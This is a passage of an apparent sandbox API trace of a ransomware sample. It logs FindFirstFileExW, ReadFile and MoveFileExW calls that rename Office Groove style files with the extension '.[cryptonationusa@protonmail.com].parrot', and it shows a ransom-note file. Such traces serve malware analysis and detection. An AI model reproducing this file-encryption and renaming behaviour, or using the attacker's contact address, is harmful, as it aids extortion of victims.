Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.467] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.467] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd8d8800, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd8d8800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.467] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8d8800, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfd8d8800, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd8d8800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0190.467] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.468] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.469] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.469] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd45, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xd45, lpOverlapped=0x0) returned 1 [0190.470] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.474] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.474] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.474] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.474] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.474] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.474] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0190.474] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.475] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.475] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.475] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x143, lpOverlapped=0x0) returned 1 [0190.476] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.523] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.523] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.524] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.524] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xb9, lpOverlapped=0x0) returned 1 [0190.524] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.538] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.538] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.539] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.539] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.539] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.545] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.546] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.546] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.547] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.547] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.551] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.552] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd996ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd996ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.552] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd8fe960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0190.553] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.553] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.554] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.554] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd5b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xd5b, lpOverlapped=0x0) returned 1 [0190.555] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.559] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.559] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.560] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.560] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0190.561] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.561] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.561] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.562] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x16f, lpOverlapped=0x0) returned 1 [0190.562] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.568] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.568] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.569] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.569] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.569] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.574] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.574] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.575] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.575] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.575] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.579] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.579] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfd9e31a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfd9e31a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.579] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd9bd040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0190.580] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.580] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.581] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.581] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xcb6, lpOverlapped=0x0) returned 1 [0190.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.586] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.586] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.587] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.588] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3a2, lpOverlapped=0x0) returned 1 [0190.588] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.602] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 